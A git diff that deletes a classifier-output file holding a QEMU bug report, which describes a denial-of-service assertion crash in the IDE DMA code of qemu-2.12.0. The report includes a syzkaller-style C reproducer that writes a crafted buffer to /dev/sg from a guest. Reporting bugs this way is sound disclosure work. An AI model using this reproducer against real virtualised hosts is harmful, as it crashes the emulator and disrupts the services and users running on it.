diff options
Diffstat (limited to 'results/classifier/deepseek-2-tmp/output/device/1777315')
| -rw-r--r-- | results/classifier/deepseek-2-tmp/output/device/1777315 | 73 |
1 files changed, 0 insertions, 73 deletions
diff --git a/results/classifier/deepseek-2-tmp/output/device/1777315 b/results/classifier/deepseek-2-tmp/output/device/1777315 deleted file mode 100644 index a0c325f8..00000000 --- a/results/classifier/deepseek-2-tmp/output/device/1777315 +++ /dev/null @@ -1,73 +0,0 @@ - -IDE short PRDT abort - -Hi, -QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version qemu-2.12.0 - -run the program in qemu-2.12.0: -#define _GNU_SOURCE -#include <endian.h> -#include <sys/syscall.h> -#include <unistd.h> -#include <fcntl.h> -#include <stdio.h> -#include <string.h> -#include <sys/stat.h> -#include <stdint.h> -#include <string.h> - -static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2) -{ - if (a0 == 0xc || a0 == 0xb) { - char buf[128]; - sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); - return open(buf, O_RDWR, 0); - } else { - char buf[1024]; - char* hash; -strncpy(buf, (char*)a0, sizeof(buf) - 1); - buf[sizeof(buf) - 1] = 0; - while ((hash = strchr(buf, '#'))) { - *hash = '0' + (char)(a1 % 10); - a1 /= 10; - } - return open(buf, a2, 0); - } -} - -uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; -void loop() -{ - long res = 0; -memcpy((void*)0x20000000, "/dev/sg#", 9); - res = syz_open_dev(0x20000000, 0, 2); - if (res != -1) - r[0] = res; - res = syscall(__NR_dup2, r[0], r[0]); - if (res != -1) - r[1] = res; -*(uint8_t*)0x20000ec0 = 0; -*(uint8_t*)0x20000ec1 = 0; -*(uint8_t*)0x20000ec2 = 0; -*(uint8_t*)0x20000ec3 = 0; -*(uint32_t*)0x20000ec8 = 0; -*(uint8_t*)0x20000ed8 = 0; -*(uint8_t*)0x20000ed9 = 0; -*(uint8_t*)0x20000eda = 0; -*(uint8_t*)0x20000edb = 0; -memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 12); - syscall(__NR_write, r[1], 0x20000ec0, 0x323); -} - -int main() -{ - syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); - loop(); - return 0; -} -this will crash qemu, output information: - qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. - - -Thanks -owl337 \ No newline at end of file |
